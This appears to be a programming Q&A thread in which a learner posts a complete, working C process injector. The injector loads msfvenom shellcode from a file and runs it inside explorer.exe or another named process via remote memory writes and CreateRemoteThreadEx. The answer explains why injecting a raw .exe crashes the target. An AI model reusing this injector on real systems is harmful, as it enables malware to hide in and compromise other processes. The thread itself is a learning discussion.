While recently learning about the concept of process injection using C, I noticed that:
if I try to read an msfvenom
-generated shellcode file and inject it to any process, my program works perfectly and I get the desired result.
if I try to read any normal .exe
file and try to inject it into the same process - the process crashes every time.
The most peculiar thing is that my injector program returns successfully. The bytes are copied into the target process without any problem (I confirmed it by using Process Hacker). But, when the remote thread is created, the target process always crashes.
Anyway the CreateRemoteThreadEx()
call returns a valid ThreadID
every time. Why is that?
Note: I am injecting 64-bit code into a 64-bit process using my 64-bit injector compiled using Microsoft C/C++ compiler for 64-bit. So no issues regarding that.
Here is my entire code:
#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <stdlib.h>
#include <fileapi.h>
#define okay(msg, ...) printf("[+] " msg " \n", ##__VA_ARGS__)
#define fail(msg, ...) printf("[-] " msg " \n", ##__VA_ARGS__)
#define info(msg, ...) printf("[!] " msg " \n", ##__VA_ARGS__)
#define MAX_SHELLCODE_SIZE 4096
DWORD GetShellCode(LPVOID out) {
HANDLE hFile = INVALID_HANDLE_VALUE;
hFile = CreateFileA(".\\payload.bin", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
info("Unable to open payload file");
return 0;
}
DWORD fileSize = GetFileSize(hFile, NULL);
if (fileSize == INVALID_FILE_SIZE) {
info("Unable to get payload file size");
CloseHandle(hFile);
return 0;
}
DWORD bytesRead;
BOOL bSuccess = ReadFile(hFile, out, fileSize, (LPDWORD)&bytesRead, NULL);
if (!bSuccess) {
info("Unable to read payload file");
CloseHandle(hFile);
return 0;
}
CloseHandle(hFile);
return bytesRead;
}
DWORD GetTargetID(const char* pName) {
HANDLE hSnapshot;
PROCESSENTRY32 pEntry;
DWORD pID = 0;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return 0;
}
pEntry.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pEntry) == FALSE) {
CloseHandle(hSnapshot);
return 0;
}
do {
if (strcmp(pName, pEntry.szExeFile) == 0) {
pID = pEntry.th32ProcessID;
break;
}
} while (Process32Next(hSnapshot, &pEntry));
CloseHandle(hSnapshot);
return pID;
}
int main(int argc, char *argv[]) {
DWORD pID = 0, tID = 0;
HANDLE pHandle;
HANDLE tHandle;
LPVOID xBuffer;
if (argc < 2) {
pID = GetTargetID("explorer.exe");
} else {
pID = GetTargetID(argv[1]);
if (pID == 0) {
info("Injector was unable to find the process you specified.");
return EXIT_FAILURE;
}
}
UCHAR shellcode[MAX_SHELLCODE_SIZE] = {0};
DWORD codeSize = GetShellCode(shellcode);
if (codeSize == 0) {
fail("Failed to get shellcode from payload file.");
return EXIT_FAILURE;
} else {
okay("Payload Size found : %ld", codeSize);
}
info("Injection Started. Opening remote process by ID: %ld ...", pID);
pHandle = OpenProcess((PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ), FALSE, pID);
if (pHandle == NULL) {
fail("Unable to open remote process. Error: (%ld)", GetLastError());
} else {
okay("Successfully opend the remote process with provided access.");
info("Allocating %ld bytes of memory space to the target process.", codeSize);
xBuffer = VirtualAllocEx(pHandle, NULL, codeSize, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
if (xBuffer == NULL) {
fail("Unable to allocate virtual memory in the target process. Error: (%ld)", GetLastError());
} else {
okay("Successfully allocated %ld bytes virtual memory space in the target process.", codeSize);
int len = 0;
info("Attempting to write shellcode into the allocated space (Address : 0x%p)", xBuffer);
BOOL wrtSuccess = WriteProcessMemory(pHandle, xBuffer, (LPCVOID)shellcode, (SIZE_T)codeSize, (SIZE_T*)&len);
if (!wrtSuccess) {
fail("Unable to write shellcode to the allocated memory of the target process. Error: (%ld)", GetLastError());
} else {
okay("Successfully copied %d bytes into the the target process.", len);
DWORD oldProtection;
BOOL bSuccess = VirtualProtectEx(pHandle, xBuffer, (SIZE_T)codeSize, PAGE_EXECUTE, &oldProtection);
if (!bSuccess) {
fail("Unable to change memory page protection status. Error: (%ld)", GetLastError());
} else {
info("Attempting to start remote thread with the copied shellcode");
tHandle = CreateRemoteThreadEx(pHandle, NULL, 0, (LPTHREAD_START_ROUTINE)xBuffer, NULL, 0, 0, &tID);
if (tHandle == NULL) {
fail("Unable to create thread with the copied shellcode in the target process. Error: (%ud)", GetLastError());
} else {
okay("Injection Successfull. Executed remote shellcode (ThreadID: %ld) in the target process.", tID);
CloseHandle(tHandle);
}
}
}
}
CloseHandle(pHandle);
}
return EXIT_SUCCESS;
}
if I try to read an
msfvenom
-generated shellcode file and inject it to any process, my program works perfectly and I get the desired result.
ShellCode contains just machine code and nothing else, that's why you can run ShellCode as-is in a thread.
if I try to read any normal
.exe
file and try to inject it into the same process - the process crashes every time.
That is because an .exe
file contains a lot more than just machine code.
A thread runs machine code starting at the address you tell it. If you simply inject the .exe
data as-is and then start a thread at the beginning of that data, then of course the thread will crash, because the .exe
data does not begin with machine code. It begins with a series of metadata headers and lookup tables. The OS's EXE loader reads those headers and tables, sets up an appropriate environment for the .exe
's code to run in, locates the actual machine code in the .exe
, and then starts a thread to run it.
The most peculiar thing is that my injector program returns successfully. The bytes are copied into the target process without any problem (I confirmed it by using Process Hacker). But, when the remote thread is created, the target process always crashes.
Anyway the
CreateRemoteThreadEx()
call returns a validThreadID
every time. Why is that?
Any API that creates a thread has no concept of the machine code it is told to run. The API merely sets up the thread object and schedules it to run on a CPU, and then tells you whether it was successful or not. The failure you are encountering does not occur until the thread actually begins running and then tries to execute machine code from bytes that were not meant to be interpreted as machine code.